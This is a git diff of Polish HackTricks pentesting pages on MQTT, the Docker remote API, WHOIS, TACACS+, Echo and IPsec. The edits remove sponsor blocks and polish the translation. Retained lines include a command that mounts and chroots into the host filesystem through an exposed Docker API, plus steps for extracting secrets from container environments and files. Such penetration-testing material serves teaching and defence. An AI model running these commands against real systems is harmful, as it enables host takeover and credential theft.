Aby połączyć się z usługą MQTT, możesz użyć: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) i subskrybować się do wszystkich tematów, wykonując:
|
||||
```
|
||||
|
@ -104,9 +91,9 @@ main()
|
|||
|
||||
stąd: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### Wzorzec Publikacji/Subskrypcji <a href="#b667" id="b667"></a>
|
||||
### Wzorzec Publikacja/Subskrypcja <a href="#b667" id="b667"></a>
|
||||
|
||||
Model publikacji/subskrypcji składa się z:
|
||||
Model publikacja/subskrypcja składa się z:
|
||||
|
||||
* **Publisher**: publikuje wiadomość do jednego (lub wielu) tematów w brokerze.
|
||||
* **Subscriber**: subskrybuje jeden (lub wiele) tematów w brokerze i otrzymuje wszystkie wiadomości wysyłane przez publishera.
|
||||
|
@ -141,17 +128,6 @@ Każdy pakiet MQTT zawiera stały nagłówek (Rysunek 02). Rysunek 02: Stały Na
|
|||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -162,8 +138,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Docker Basics
|
||||
|
||||
|
@ -37,11 +24,11 @@ Docker to **wiodąca platforma** w **branży konteneryzacji**, prowadząca **ci
|
|||
|
||||
#### Basic docker architecture
|
||||
|
||||
* [**containerd**](http://containerd.io): To **rdzeń czasu wykonania** dla kontenerów, odpowiedzialny za kompleksowe **zarządzanie cyklem życia kontenera**. Obejmuje to obsługę **transferu i przechowywania obrazów**, a także nadzorowanie **wykonywania, monitorowania i sieci** kontenerów. **Szczegółowe informacje** na temat containerd są **dalsze badane**.
|
||||
* **container-shim** odgrywa kluczową rolę jako **pośrednik** w obsłudze **kontenerów bezgłowych**, płynnie przejmując po **runc** po zainicjowaniu kontenerów.
|
||||
* [**runc**](http://runc.io): Uznawany za **lekką i uniwersalną** zdolność czasu wykonania kontenerów, runc jest zgodny z **standardem OCI**. Jest używany przez containerd do **uruchamiania i zarządzania kontenerami** zgodnie z **wytycznymi OCI**, rozwijając się z oryginalnego **libcontainer**.
|
||||
* [**grpc**](http://www.grpc.io) jest niezbędny do **ułatwienia komunikacji** między containerd a **docker-engine**, zapewniając **efektywną interakcję**.
|
||||
* [**OCI**](https://www.opencontainers.org) jest kluczowe w utrzymywaniu **specyfikacji OCI** dla czasu wykonania i obrazów, przy czym najnowsze wersje Dockera są **zgodne zarówno z obrazem OCI, jak i standardami czasu wykonania**.
|
||||
* [**containerd**](http://containerd.io): To **podstawowy runtime** dla kontenerów, odpowiedzialny za kompleksowe **zarządzanie cyklem życia kontenera**. Obejmuje to obsługę **transferu i przechowywania obrazów**, a także nadzorowanie **wykonywania, monitorowania i sieci** kontenerów. **Szczegółowe informacje** na temat containerd są **dalsze badane**.
|
||||
* **container-shim** odgrywa kluczową rolę jako **pośrednik** w obsłudze **kontenerów bezgłowych**, płynnie przejmując od **runc** po zainicjowaniu kontenerów.
|
||||
* [**runc**](http://runc.io): Ceniony za swoje **lekkie i uniwersalne możliwości runtime kontenerów**, runc jest zgodny z **standardem OCI**. Jest używany przez containerd do **uruchamiania i zarządzania kontenerami** zgodnie z **wytycznymi OCI**, rozwijając się z oryginalnego **libcontainer**.
|
||||
* [**grpc**](http://www.grpc.io) jest niezbędny do **ułatwiania komunikacji** między containerd a **docker-engine**, zapewniając **efektywną interakcję**.
|
||||
* [**OCI**](https://www.opencontainers.org) jest kluczowe w utrzymywaniu **specyfikacji OCI** dla runtime i obrazów, przy czym najnowsze wersje Dockera są **zgodne zarówno z obrazem OCI, jak i standardami runtime**.
|
||||
|
||||
#### Basic commands
|
||||
```bash
|
||||
|
@ -90,14 +77,14 @@ ctr container delete <containerName>
|
|||
```
|
||||
#### Podman
|
||||
|
||||
**Podman** to silnik kontenerów open-source, który przestrzega standardów [Open Container Initiative (OCI)](https://github.com/opencontainers), opracowany i utrzymywany przez Red Hat. Wyróżnia się na tle Dockera kilkoma charakterystycznymi cechami, w szczególności **architekturą bezdemową** oraz wsparciem dla **kontenerów bez uprawnień root**, co umożliwia użytkownikom uruchamianie kontenerów bez uprawnień administratora.
|
||||
**Podman** to silnik kontenerowy open-source, który przestrzega standardów [Open Container Initiative (OCI)](https://github.com/opencontainers), opracowany i utrzymywany przez Red Hat. Wyróżnia się na tle Dockera kilkoma charakterystycznymi cechami, w szczególności **architekturą bezdemonową** oraz wsparciem dla **kontenerów bez uprawnień root**, co umożliwia użytkownikom uruchamianie kontenerów bez uprawnień administratora.
|
||||
|
||||
Podman został zaprojektowany tak, aby był kompatybilny z API Dockera, co pozwala na używanie poleceń CLI Dockera. Ta kompatybilność obejmuje jego ekosystem, który zawiera narzędzia takie jak **Buildah** do budowania obrazów kontenerów oraz **Skopeo** do operacji na obrazach, takich jak push, pull i inspect. Więcej informacji na temat tych narzędzi można znaleźć na ich [stronie GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
**Kluczowe różnice**
|
||||
|
||||
* **Architektura**: W przeciwieństwie do modelu klient-serwer Dockera z działającym w tle demonem, Podman działa bez demona. Taki projekt oznacza, że kontenery działają z uprawnieniami użytkownika, który je uruchamia, co zwiększa bezpieczeństwo poprzez eliminację potrzeby dostępu root.
|
||||
* **Integracja z Systemd**: Podman integruje się z **systemd** w celu zarządzania kontenerami, co pozwala na zarządzanie kontenerami za pomocą jednostek systemd. To kontrastuje z użyciem systemd przez Dockera głównie do zarządzania procesem demona Dockera.
|
||||
* **Integracja z systemd**: Podman integruje się z **systemd** w celu zarządzania kontenerami, co pozwala na zarządzanie kontenerami za pomocą jednostek systemd. To kontrastuje z użyciem systemd przez Dockera głównie do zarządzania procesem demona Dockera.
|
||||
* **Kontenery bez uprawnień root**: Kluczową cechą Podmana jest jego zdolność do uruchamiania kontenerów z uprawnieniami użytkownika, który je inicjuje. Takie podejście minimalizuje ryzyko związane z naruszeniami kontenerów, zapewniając, że atakujący uzyskują jedynie uprawnienia skompromitowanego użytkownika, a nie dostęp root.
|
||||
|
||||
Podejście Podmana oferuje bezpieczną i elastyczną alternatywę dla Dockera, kładąc nacisk na zarządzanie uprawnieniami użytkowników oraz kompatybilność z istniejącymi przepływami pracy Dockera.
|
||||
|
@ -121,9 +108,9 @@ Remote API działa domyślnie na porcie 2375, gdy jest włączony. Usługa domy
|
|||
PORT STATE SERVICE
|
||||
2375/tcp open docker
|
||||
```
|
||||
### Enumeration
|
||||
### Enumeracja
|
||||
|
||||
#### Manual
|
||||
#### Ręczna
|
||||
|
||||
Zauważ, że aby enumerować API dockera, możesz użyć polecenia `docker` lub `curl`, jak w następującym przykładzie:
|
||||
```bash
|
||||
|
@ -173,7 +160,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
|||
```
|
||||
**Curl**
|
||||
|
||||
Czasami zobaczysz **2376** dla punktu końcowego **TLS**. Nie udało mi się połączyć z nim za pomocą klienta docker, ale możliwe jest to za pomocą curl.
|
||||
Czasami zobaczysz **2376** aktywne dla punktu końcowego **TLS**. Nie udało mi się połączyć z nim za pomocą klienta docker, ale możliwe jest to za pomocą curl.
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
|
@ -234,7 +221,7 @@ Jeśli jesteś wewnątrz hosta, który używa dockera, możesz [**przeczytać te
|
|||
docker ps [| grep <kubernetes_service_name>]
|
||||
docker inspect <docker_id>
|
||||
```
|
||||
Sprawdź **env** (sekcja zmiennych środowiskowych) w poszukiwaniu sekretów, a możesz znaleźć:
|
||||
Sprawdź **env** (sekcja zmiennych środowiskowych) pod kątem sekretów, a możesz znaleźć:
|
||||
|
||||
* Hasła.
|
||||
* Adresy IP.
|
||||
|
@ -246,7 +233,7 @@ Jeśli chcesz wyodrębnić plik:
|
|||
```bash
|
||||
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
```
|
||||
### Zabezpieczanie swojego Dockera
|
||||
### Zabezpieczanie Dockera
|
||||
|
||||
#### Zabezpieczanie instalacji i użycia Dockera
|
||||
|
||||
|
@ -267,30 +254,30 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
#### Zabezpieczanie Dockerfile
|
||||
|
||||
* Możesz użyć narzędzia [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter), aby **sprawdzić swój Dockerfile** i znaleźć wszelkiego rodzaju błędne konfiguracje. Każda błędna konfiguracja otrzyma identyfikator, możesz znaleźć tutaj [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), jak naprawić każdą z nich.
|
||||
* Możesz użyć narzędzia [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) do **sprawdzenia swojego Dockerfile** i znalezienia wszelkiego rodzaju błędów konfiguracyjnych. Każdy błąd konfiguracyjny otrzyma identyfikator, możesz znaleźć tutaj [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), jak naprawić każdy z nich.
|
||||
* `dockerfilelinter -f Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (176).png>)
|
||||
|
||||
* Możesz użyć narzędzia [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint), aby **sprawdzić swój Dockerfile** i znaleźć wszelkiego rodzaju błędne konfiguracje.
|
||||
* Możesz użyć narzędzia [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) do **sprawdzenia swojego Dockerfile** i znalezienia wszelkiego rodzaju błędów konfiguracyjnych.
|
||||
* `dockerfilelint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (212).png>)
|
||||
|
||||
* Możesz użyć narzędzia [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint), aby **sprawdzić swój Dockerfile** i znaleźć wszelkiego rodzaju błędne konfiguracje.
|
||||
* Możesz użyć narzędzia [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) do **sprawdzenia swojego Dockerfile** i znalezienia wszelkiego rodzaju błędów konfiguracyjnych.
|
||||
* `dockerlint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (71).png>)
|
||||
|
||||
* Możesz użyć narzędzia [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint), aby **sprawdzić swój Dockerfile** i znaleźć wszelkiego rodzaju błędne konfiguracje.
|
||||
* Możesz użyć narzędzia [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) do **sprawdzenia swojego Dockerfile** i znalezienia wszelkiego rodzaju błędów konfiguracyjnych.
|
||||
* `hadolint Dockerfile`
|
||||
|
||||
![](<../.gitbook/assets/image (501).png>)
|
||||
|
||||
#### Rejestrowanie podejrzanej aktywności
|
||||
|
||||
* Możesz użyć narzędzia [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco), aby wykryć **podejrzane zachowanie w uruchomionych kontenerach**.
|
||||
* Zauważ w poniższym fragmencie, jak **Falco kompiluje moduł jądra i wstawia go**. Po tym ładuje zasady i **zaczyna rejestrować podejrzane aktywności**. W tym przypadku wykryto 2 uruchomione kontenery z uprawnieniami, jeden z nich z wrażliwym montażem, a po kilku sekundach wykryto, jak w jednym z kontenerów otwarto powłokę.
|
||||
* Możesz użyć narzędzia [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) do wykrywania **podejrzanego zachowania w uruchomionych kontenerach**.
|
||||
* Zauważ w poniższym fragmencie, jak **Falco kompiluje moduł jądra i go wstawia**. Po tym ładuje zasady i **zaczyna rejestrować podejrzane aktywności**. W tym przypadku wykryto 2 uruchomione kontenery z uprawnieniami, jeden z nich z wrażliwym montażem, a po kilku sekundach wykryto, jak w jednym z kontenerów otwarto powłokę.
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
@ -340,17 +327,6 @@ Możesz użyć auditd do monitorowania dockera.
|
|||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -361,8 +337,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Protokół **WHOIS** służy jako standardowa metoda **zapytania o rejestrujących lub posiadaczy różnych zasobów Internetu** poprzez konkretne bazy danych. Zasoby te obejmują nazwy domen, bloki adresów IP oraz systemy autonomiczne, między innymi. Poza tym protokół znajduje zastosowanie w uzyskiwaniu szerszego zakresu informacji.
|
||||
Protokół **WHOIS** służy jako standardowa metoda **zapytania o rejestrujących lub posiadaczy różnych zasobów internetowych** poprzez określone bazy danych. Zasoby te obejmują nazwy domen, bloki adresów IP oraz systemy autonomiczne, między innymi. Poza tym protokół znajduje zastosowanie w uzyskiwaniu szerszego zakresu informacji.
|
||||
|
||||
**Domyślny port:** 43
|
||||
```
|
||||
|
@ -49,12 +41,6 @@ Usługa WHOIS zawsze musi korzystać z **bazy danych** do przechowywania i wydob
|
|||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
|
@ -84,8 +70,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Protokół **Terminal Access Controller Access Control System (TACACS)** jest używany do centralnej weryfikacji użytkowników próbujących uzyskać dostęp do routerów lub serwerów dostępu do sieci (NAS). Jego ulepszona wersja, **TACACS+**, dzieli usługi na uwierzytelnianie, autoryzację i rozliczanie (AAA).
|
||||
|
@ -57,11 +49,6 @@ By gaining access to the control panel of network equipment using the obtained c
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -13,14 +13,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# Podstawowe informacje
|
||||
|
||||
|
@ -48,15 +40,9 @@ Hello echo #This is the response
|
|||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
[CA-1996-01 Atak Denial-of-Service na porcie UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -66,7 +52,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,23 +16,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczania komunikacji między sieciami (LAN-do-LAN) oraz zdalnymi użytkownikami do bramy sieciowej (zdalny dostęp), stanowiąc podstawę dla rozwiązań VPN w przedsiębiorstwach.
|
||||
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczającą komunikację między sieciami (LAN-do-LAN) oraz zdalnymi użytkownikami do bramy sieciowej (zdalny dostęp), stanowiąc podstawę dla rozwiązań VPN w przedsiębiorstwach.
|
||||
|
||||
Ustanowienie **związku bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, które działa w ramach ISAKMP, protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Proces ten przebiega w kilku fazach:
|
||||
|
||||
* **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami końcowymi. Osiąga się to poprzez użycie klucza wstępnie udostępnionego (PSK) lub certyfikatów, stosując tryb główny, który obejmuje trzy pary wiadomości, lub **tryb agresywny**.
|
||||
* **Faza 1.5:** Choć nieobowiązkowa, ta faza, znana jako Faza Rozszerzonego Uwierzytelniania, weryfikuje tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.
|
||||
* **Faza 2:** Ta faza poświęcona jest negocjowaniu parametrów zabezpieczania danych za pomocą **ESP** i **AH**. Umożliwia użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Idealną Tajność Przyszłości (PFS)**, zwiększając bezpieczeństwo.
|
||||
* **Faza 2:** Ta faza poświęcona jest negocjowaniu parametrów zabezpieczania danych za pomocą **ESP** i **AH**. Umożliwia to użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Idealną Tajność Przyszłości (PFS)**, zwiększając bezpieczeństwo.
|
||||
|
||||
**Domyślny port:** 500/udp
|
||||
|
||||
|
@ -46,11 +38,11 @@ PORT STATE SERVICE
|
|||
500/udp open isakmp
|
||||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
## **Znajdowanie ważnej transformacji**
|
||||
## **Znalezienie ważnej transformacji**
|
||||
|
||||
Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. **Każda transformacja** zawiera szereg atrybutów, takich jak DES lub 3DES jako **algorytm szyfrowania**, SHA lub MD5 jako **algorytm integralności**, klucz współdzielony jako **typ uwierzytelnienia**, Diffie-Hellman 1 lub 2 jako **algorytm dystrybucji kluczy** oraz 28800 sekund jako **czas życia**.
|
||||
|
||||
Pierwszą rzeczą, którą musisz zrobić, jest **znalezienie ważnej transformacji**, aby serwer mógł z tobą rozmawiać. Aby to zrobić, możesz użyć narzędzia **ike-scan**. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i jedną propozycją z **ośmioma transformacjami wewnątrz**.
|
||||
Pierwszą rzeczą, którą musisz zrobić, jest **znalezienie ważnej transformacji**, aby serwer mógł z tobą rozmawiać. Aby to zrobić, możesz użyć narzędzia **ike-scan**. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją z **ośmioma transformacjami wewnątrz**.
|
||||
|
||||
W zależności od odpowiedzi możesz uzyskać pewne informacje o punkcie końcowym:
|
||||
```
|
||||
|
@ -67,8 +59,8 @@ As you can see in the previous response, there is a field called **AUTH** with t
|
|||
**Wartość ostatniej linii jest również bardzo ważna:**
|
||||
|
||||
* _0 zwrócone handshake; 0 zwrócone notify:_ To oznacza, że cel to **nie jest brama IPsec**.
|
||||
* _**1 zwrócone handshake; 0 zwrócone notify:**_ To oznacza, że **cel jest skonfigurowany dla IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jeden lub więcej z proponowanych transformacji jest akceptowalny** (ważna transformacja zostanie pokazana w wynikach).
|
||||
